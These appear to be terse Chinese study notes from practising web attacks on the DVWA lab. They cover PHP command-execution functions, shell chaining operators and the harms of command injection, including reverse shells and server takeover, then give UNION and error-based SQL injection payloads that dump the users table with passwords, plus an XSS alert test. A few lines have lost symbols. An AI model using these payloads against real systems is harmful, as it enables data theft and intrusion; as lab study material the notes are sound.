命令执行相关函数
1.exec执行外部命令(外部程序执行后返回最后一行)shell_exec全部数据 2.passthru执行外部程序并且显示原始输出 浏览器
Linux上可以使用
前面执行完执行后面
|显示后面的执行结果
错||执行
Windows
不能用 假执行 假出错 直接执行后面的语句错执行
危害
1.执行系统命令、读写文件 2.反弹shell 3.控制整个网站甚至服务器 4.内网渗透
SQL Injection
-1’ union select 1,database() #
-1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema‘dvwa’ #
-1’ union select 1,group_concat(column_name) from information_schema.columns where table_schema‘dvwa’ and table_name‘users’ #
-1’ union select 1,group_concat(concat_ws(‘-’,first_name,last_name,user,password,avatar,last_login,failed_login)) from dvwa.users #
1 union select count(*),concat_ws(-,database(),floor(rand()*2)) as x from information_schema.schemata group by x #XSS 习题
script alert(hello);/script